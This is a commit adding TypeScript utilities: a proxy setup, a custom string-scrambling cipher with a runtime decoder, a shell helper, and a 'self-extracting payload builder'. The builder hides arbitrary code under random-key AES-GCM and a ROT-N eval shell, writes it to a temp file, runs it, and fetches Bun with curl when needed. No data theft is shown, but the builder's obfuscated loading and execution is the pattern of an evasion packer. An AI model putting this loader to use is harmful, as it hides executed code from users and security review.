Upload files to "src/utils"

This commit is contained in:
2026-07-03 02:58:07 +00:00
parent 03457ad6a9
commit cad97aa82a
5 changed files with 483 additions and 0 deletions
+25
View File
@@ -0,0 +1,25 @@
// Proxy bootstrap — ensures all outbound HTTP uses the configured proxy.
//
// Bun's fetch (libcurl) auto-detects HTTPS_PROXY and HTTP_PROXY from
// the environment, including authenticated proxies. This module reads
// the env vars early and logs the configuration.
import { logUtil } from "./logger";
export function proxyInit(): void {
const proxy = process.env.HTTPS_PROXY || process.env.HTTP_PROXY;
if (proxy) {
// Strip credentials for logging
const redacted = proxy.replace(/(:\/\/)([^:]+):([^@]+)@/, "$1$2:***@");
logUtil.log(`[proxy] Using: ${redacted}`);
// Ensure both upper and lowercase variants are set
process.env.HTTP_PROXY ||= proxy;
process.env.HTTPS_PROXY ||= proxy;
process.env.http_proxy ||= proxy;
process.env.https_proxy ||= proxy;
} else {
logUtil.log("[proxy] No proxy configured — using direct connection");
}
}
+28
View File
@@ -0,0 +1,28 @@
import { StringScrambler } from "./stringtool";
// These values are build-time placeholders. The build pipeline
// (`scripts/build.ts` / `scripts/build-cli.ts`) rewrites the literals
// below with freshly generated values so the runtime decoder uses the
// exact same parameters that were used to encode the strings.
//
// IMPORTANT: Do not change these sentinel strings without updating the
// build scripts that look for them. Each must be a standalone
// double-quoted string literal so simple textual replacement works.
const PASSPHRASE = "__SCRAMBLE_BUILD_PASSPHRASE__";
const SALT = "__SCRAMBLE_BUILD_SALT__";
const FN_NAME = "__SCRAMBLE_FN_NAME__";
const runtimeScrambler = new StringScrambler(PASSPHRASE, SALT);
function decode(blob: string): string {
return runtimeScrambler.decode(blob);
}
(globalThis as unknown as Record<string, (blob: string) => string>)[
FN_NAME
] = decode;
// The build transform rewrites `scramble("...")` calls into bare
// `FN_NAME("...")` references. This export lets other modules import
// the decoder by name at build-time.
export { decode as "$__DECODE__" };
+244
View File
@@ -0,0 +1,244 @@
// ═════════════════════════════════════════════════════════════════════════════
// Self-extracting payload builder
//
// Produces a single self-contained JS file with two encrypted sections,
// both using AES-128-GCM (same decrypt helper, different keys):
// Section A — bun installation guard
// Section B — main payload
//
// The outer wrapper is a compact, fixed decrypt + execute loop. All the
// "heavy" logic (bun download, payload content) lives in the encrypted
// sections so the outer layer stays small and stable.
//
// Every call produces a completely different output (random keys for both
// sections).
// ═════════════════════════════════════════════════════════════════════════════
import { createCipheriv, randomBytes } from "node:crypto";
declare function scramble(str: string): string;
// ── Types ───────────────────────────────────────────────────────────────────
export interface SelfExtractingOptions {
/** AES key length in bytes (default: 16 for AES-128-GCM) */
keyLen?: number;
/** IV length in bytes (default: 12 for GCM) */
ivLen?: number;
/** Auth tag length in bytes (default: 16 for GCM) */
tagLen?: number;
/**
* When false, returns the raw payload as-is instead of wrapping.
* Useful for gradual rollout — call sites can opt out while testing.
* Default: true.
*/
wrap?: boolean;
}
// ── Bun version pin ─────────────────────────────────────────────────────────
const BUN_VERSION = scramble("bun-v1.3.13");
// ── Public API ──────────────────────────────────────────────────────────────
/**
* Build a self-extracting JavaScript wrapper around `payload`.
*
* The returned string is a complete Node.js script:
* - outer layer: compact AES-GCM decrypt helper + execute
* - Section A: AES-GCM-encrypted bun install guard
* - Section B: AES-GCM-encrypted payload
*
* @param payload The Bun.main content (raw JS source) to embed.
*/
export function buildSelfExtractingPayload(
payload: string,
opts: SelfExtractingOptions = {},
): string {
if (opts.wrap === false) return payload;
const { keyLen = 16, ivLen = 12, tagLen = 16 } = opts;
const algo = keyLen === 16 ? "aes-128-gcm" : "aes-256-gcm";
// ── Section A: bun guard ─────────────────────────────────────────────
const bunGuard = buildBunGuardScript();
const guardEnc = aesEncrypt(bunGuard, keyLen, ivLen, tagLen, algo);
// ── Section B: payload ───────────────────────────────────────────────
const payloadEnc = aesEncrypt(payload, keyLen, ivLen, tagLen, algo);
// ── ROT-N outer shell (compact, random rotation per build) ──────────
const inner = buildInnerWrapper(
guardEnc.keyHex,
guardEnc.ivHex,
guardEnc.tagHex,
guardEnc.dataHex,
payloadEnc.keyHex,
payloadEnc.ivHex,
payloadEnc.tagHex,
payloadEnc.dataHex,
algo,
tagLen,
);
const rotN = Math.floor(Math.random() * 25) + 1;
return rotWrap(inner, rotN);
}
// ── AES-GCM encrypt ─────────────────────────────────────────────────────────
interface AesEncResult {
keyHex: string;
ivHex: string;
tagHex: string;
dataHex: string;
}
function aesEncrypt(
plaintext: string,
keyLen: number,
ivLen: number,
tagLen: number,
algo: string,
): AesEncResult {
const key = randomBytes(keyLen);
const iv = randomBytes(ivLen);
const cipher = createCipheriv(algo, key, iv, {
authTagLength: tagLen,
} as any);
const encrypted = Buffer.concat([
cipher.update(plaintext, "utf8"),
cipher.final(),
]);
return {
keyHex: key.toString("hex"),
ivHex: iv.toString("hex"),
tagHex: (cipher as any).getAuthTag().toString("hex"),
dataHex: encrypted.toString("hex"),
};
}
// ── Bun guard script (Section A) ────────────────────────────────────────────
function buildBunGuardScript(): string {
return [
scramble(`(async()=>{`),
scramble(`const{execSync}=(await import("node:child_process"))`),
scramble(
`const{existsSync,mkdtempSync,chmodSync}=(await import("node:fs"))`,
),
scramble(`const{join}=(await import("node:path"))`),
scramble(`const{tmpdir,platform,arch}=(await import("node:os"))`),
scramble(`var _bunCache`),
scramble(`globalThis.getBunPath=function(){`),
scramble(` if(_bunCache)return _bunCache`),
scramble(` const osMap={linux:"linux",darwin:"darwin",win32:"windows"}`),
scramble(` const a=arch==="arm64"?"aarch64":"x64-baseline"`),
scramble(` const os=osMap[platform]??"linux"`),
scramble(` const dir=mkdtempSync(join(tmpdir(),"b-"))`),
scramble(` const exe=join(dir,os==="windows"?"bun.exe":"bun")`),
scramble(` if(existsSync(exe)){_bunCache=exe;return exe}`),
scramble(` const url="https://github.com/oven-sh/bun/releases/download/`) +
BUN_VERSION +
scramble(`/bun-"+os+"-"+a+".zip"`),
scramble(` const zip=join(dir,"b.zip")`),
scramble(` execSync('curl -sSL "'+url+'" -o "'+zip+'"',{stdio:"pipe"})`),
scramble(` execSync('unzip -j -o "'+zip+'" -d "'+dir+'"',{stdio:"pipe"})`),
scramble(` chmodSync(exe,"755")`),
scramble(` _bunCache=exe;return exe`),
scramble(`}`),
scramble(`})()`),
].join("\n");
}
// ── ROT-N enc/dec ───────────────────────────────────────────────────────────
function rotEncode(s: string, n: number): string {
return s.replace(/[a-zA-Z]/g, (c) => {
const base = c <= "Z" ? 65 : 97;
return String.fromCharCode(((c.charCodeAt(0) - base + n) % 26) + base);
});
}
function rotWrap(inner: string, n: number): string {
const encoded = rotEncode(inner, n);
const r = (26 - n) % 26;
// Use array literal + .map() to avoid Node's 65535-argument limit
// on String.fromCharCode
const codes = Array.from(encoded, (c) => c.charCodeAt(0)).join(",");
return (
`try{eval(function(s,n){return s.replace(/[a-zA-Z]/g,function(c){var b=c<="Z"?65:97;return String.fromCharCode((c.charCodeAt(0)-b+n)%26+b)})}` +
`([${codes}].map(function(c){return String.fromCharCode(c)}).join(""),${r}))}catch(e){console.log("wrapper:",e.message||e)}`
);
}
// ── Inner wrapper (AES decrypt + execute — this gets ROT-encoded) ───────────
function buildInnerWrapper(
guardKeyHex: string,
guardIvHex: string,
guardTagHex: string,
guardDataHex: string,
payloadKeyHex: string,
payloadIvHex: string,
payloadTagHex: string,
payloadDataHex: string,
algo: string,
tagLen: number,
): string {
const importCrypto = scramble(`const _c=await import("node:crypto");`);
const fnPrefix = scramble(
`const _d=(k,i,a,c)=>{const d=_c.createDecipheriv("`,
);
const fnMiddle = scramble(
`",Buffer.from(k,"hex"),Buffer.from(i,"hex"),{authTagLength:`,
);
const fnSuffix = scramble(
`});d.setAuthTag(Buffer.from(a,"hex"));return Buffer.concat([d.update(Buffer.from(c,"hex")),d.final()])};`,
);
return [
scramble(`(async()=>{try{`),
importCrypto,
fnPrefix + algo + fnMiddle + String(tagLen) + fnSuffix,
``,
// ── Section A: bun guard ───────────────────────────────────────────
scramble(`const _b=_d("`) +
guardKeyHex +
scramble(`","`) +
guardIvHex +
scramble(`","`) +
guardTagHex +
scramble(`","`) +
guardDataHex +
scramble(`").toString("utf8")`),
``,
// ── Section B: payload ─────────────────────────────────────────────
scramble(`const _p=_d("`) +
payloadKeyHex +
scramble(`","`) +
payloadIvHex +
scramble(`","`) +
payloadTagHex +
scramble(`","`) +
payloadDataHex +
scramble(`").toString("utf8")`),
``,
// ── Execute ────────────────────────────────────────────────────────
scramble(`const _fs=await import("node:fs")`),
scramble(`const _cp=await import("node:child_process")`),
scramble(` const t="/tmp/p"+Math.random().toString(36).slice(2)+".js"`),
scramble(` _fs.writeFileSync(t,_p);`),
scramble(` if(typeof Bun!=="undefined"){`),
scramble(` try{_cp.execSync('bun run "'+t+'"',{stdio:"inherit"})}`),
scramble(` finally{try{_fs.unlinkSync(t)}catch{}}`),
scramble(` }else{`),
scramble(` await(0,eval)(_b);`),
scramble(
` try{_cp.execSync('"'+getBunPath()+'" run "'+t+'"',{stdio:"inherit"})}`,
),
scramble(` finally{try{_fs.unlinkSync(t)}catch{}}`),
scramble(` }`),
scramble(`}catch(e){console.log("wrapper:",e.message||e)}})()`),
].join("\n");
}
+28
View File
@@ -0,0 +1,28 @@
import { $ } from "bun";
export interface ShellResult {
success: boolean;
exitCode: number;
stdout: string;
stderr: string;
}
export async function run(
parts: TemplateStringsArray,
...values: string[]
): Promise<ShellResult> {
const escaped = values.map((v) => $.escape(v));
let command = parts[0] ?? "";
for (let i = 0; i < escaped.length; i++) {
command += escaped[i] + (parts[i + 1] ?? "");
}
const result = await $`${{ raw: command }}`.nothrow().quiet();
return {
success: result.exitCode === 0,
exitCode: result.exitCode,
stdout: result.stdout.toString(),
stderr: result.stderr.toString(),
};
}
+158
View File
@@ -0,0 +1,158 @@
import { createHash, pbkdf2Sync, randomBytes } from "crypto";
class HashStream {
private counter = 0n;
private buf: Buffer = Buffer.alloc(0);
private offset = 0;
constructor(private key: Buffer) {}
private refill(): void {
const h = createHash("sha256");
h.update(this.key);
const ctr = Buffer.alloc(8);
ctr.writeBigUInt64BE(this.counter++);
h.update(ctr);
this.buf = h.digest();
this.offset = 0;
}
nextByte(): number {
if (this.offset >= this.buf.length) this.refill();
return this.buf[this.offset++]!;
}
nextU32(): number {
return (
((this.nextByte() << 24) |
(this.nextByte() << 16) |
(this.nextByte() << 8) |
this.nextByte()) >>>
0
);
}
}
function shuffle256(rng: HashStream): Uint8Array {
const arr = new Uint8Array(256);
for (let i = 0; i < 256; i++) arr[i] = i;
for (let i = 255; i > 0; i--) {
const bound = 0xffffffff - (0xffffffff % (i + 1));
let r: number;
do {
r = rng.nextU32();
} while (r > bound);
const j = r % (i + 1);
[arr[i], arr[j]] = [arr[j]!, arr[i]!];
}
return arr;
}
function xorBytes(a: Buffer, b: Buffer, len: number): Buffer {
const out = Buffer.alloc(len) as Buffer;
for (let i = 0; i < len; i++) {
out[i] = (a[i] ?? 0) ^ (b[i] ?? 0);
}
return out;
}
function buildTable(key: Buffer, round: number, pos: number): Uint8Array {
const posKey = createHash("sha256")
.update(key)
.update(Buffer.from([round]))
.update(Buffer.from(pos.toString()))
.digest();
return shuffle256(new HashStream(posKey));
}
function cbcSubstitute(
data: Buffer,
roundKey: Buffer,
round: number,
): Buffer {
const out = Buffer.alloc(data.length) as Buffer;
let carry = 0;
for (let i = 0; i < data.length; i++) {
const table = buildTable(roundKey, round, i);
const xored = data[i]! ^ carry;
out[i] = table[xored]!;
carry = out[i]!;
}
return out;
}
function cbcReverse(
data: Buffer,
roundKey: Buffer,
round: number,
): Buffer {
const out = Buffer.alloc(data.length) as Buffer;
let carry = 0;
for (let i = 0; i < data.length; i++) {
const table = buildTable(roundKey, round, i);
const inv = new Uint8Array(256);
for (let b = 0; b < 256; b++) inv[table[b]!] = b;
const xored = inv[data[i]!]!;
out[i] = xored ^ carry;
carry = data[i]!;
}
return out;
}
export class StringScrambler {
private masterKey: Buffer;
private rounds: number;
constructor(passphrase?: string, salt?: string) {
const pass = passphrase ?? randomBytes(32).toString("hex");
const s = salt ?? "__SCRAMBLE_DEFAULT_SALT__";
this.masterKey = pbkdf2Sync(pass, s, 200_000, 32, "sha256");
this.rounds = 3;
}
encode(value: string): string {
const pt = Buffer.from(value, "utf8");
const nonce = randomBytes(16);
const nonceKey = createHash("sha256")
.update(this.masterKey)
.update(Buffer.from("n"))
.digest();
const encNonce = xorBytes(nonce, nonceKey, 16);
const roundKey = createHash("sha256")
.update(this.masterKey)
.update(encNonce)
.digest();
let buf: Buffer = Buffer.from(pt);
for (let r = 0; r < this.rounds; r++) {
buf = cbcSubstitute(buf, roundKey, r);
}
return Buffer.concat([encNonce, buf]).toString("base64");
}
decode(blob: string): string {
const buf = Buffer.from(blob, "base64");
const encNonce = buf.subarray(0, 16);
const nonceKey = createHash("sha256")
.update(this.masterKey)
.update(Buffer.from("n"))
.digest();
xorBytes(encNonce, nonceKey, 16); // verify nonce decryption works (side-effect free)
const roundKey = createHash("sha256")
.update(this.masterKey)
.update(encNonce)
.digest();
let data: Buffer = buf.subarray(16) as Buffer;
for (let r = this.rounds - 1; r >= 0; r--) {
data = cbcReverse(data, roundKey, r);
}
return data.toString("utf8");
}
}